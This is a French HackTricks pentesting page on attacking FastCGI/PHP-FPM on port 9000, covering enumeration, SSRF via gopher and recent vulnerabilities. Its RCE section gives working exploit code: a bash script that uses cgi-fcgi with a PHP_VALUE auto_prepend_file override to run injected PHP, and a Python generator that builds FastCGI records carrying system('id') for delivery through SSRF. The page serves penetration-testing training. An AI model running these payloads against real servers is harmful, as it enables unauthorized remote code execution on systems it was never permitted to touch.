9000 Pentesting FastCGI

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Si vous voulez apprendre ce qu’est FastCGI, consultez la page suivante :

disable_functions bypass - php-fpm/FastCGI

Par défaut, FastCGI s’exécute sur le port 9000 et n’est pas reconnu par nmap. Habituellement, FastCGI n’écoute que sur localhost.

Enumération / Vérifications rapides

  • Scan de ports : nmap -sV -p9000 <target> (affichera souvent le service “unknown” ; tester manuellement).
  • Interroger la page de statut FPM : SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000 (php-fpm pm.status_path par défaut).
  • Trouver des sockets joignables via SSRF : si un service HTTP est exploitable via SSRF, essayez des payloads gopher://127.0.0.1:9000/_... pour atteindre le listener FastCGI.
  • Mauvaises configurations Nginx : des erreurs fastcgi_split_path_info avec cgi.fix_pathinfo=1 vous permettent d’ajouter /.php aux fichiers statiques et d’atteindre PHP (code exec via traversal).

RCE

Il est assez facile de faire exécuter du code arbitraire par FastCGI :

Envoyer une requête FastCGI qui préfixe un payload PHP ```bash #!/bin/bash

PAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path

HOST=$1 B64=$(echo “$PAYLOAD”|base64)

for FN in $FILENAMES; do OUTPUT=$(mktemp) env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT done

</details>

ou vous pouvez aussi utiliser le script Python suivant : [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)

### SSRF/gopher vers FastCGI (lorsque 9000 n'est pas directement accessible)

Si vous ne contrôlez qu'une primitive **SSRF**, vous pouvez quand même atteindre FastCGI en utilisant le protocole gopher et construire une requête FastCGI complète. Exemple de générateur de payload :

<details>
<summary>Construire et envoyer un payload gopher FastCGI RCE</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"

def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content

def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload  = rec(4, enc_params(params)) + rec(4, b"")  # FCGI_PARAMS + terminator
payload += rec(5, body)                                # FCGI_STDIN

s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))

Convertissez payload en base64 compatible URL / encodage pourcentage et envoyez-le via gopher://host:9000/_<payload> dans votre SSRF.

Notes sur les problèmes récents

  • libfcgi <= 2.4.4 integer overflow (2024): des nameLen/valueLen conçus dans les enregistrements FastCGI peuvent déborder sur des builds 32‑bit (courants dans l’embedded/IoT), entraînant une RCE sur le heap lorsque la socket FastCGI est atteignable (directement ou via SSRF).
  • PHP-FPM log manipulation (CVE-2024-9026): lorsque catch_workers_output = yes, des attaquants capables d’envoyer des requêtes FastCGI peuvent tronquer ou injecter jusqu’à 4 octets par ligne de log pour effacer des indicateurs ou empoisonner les logs.
  • Classic Nginx + cgi.fix_pathinfo misconfig: encore largement observé ; si fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; est utilisé sans vérification d’existence de fichier, tout chemin se terminant par .php est exécuté, permettant des gadgets de type path traversal ou source overwrite.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks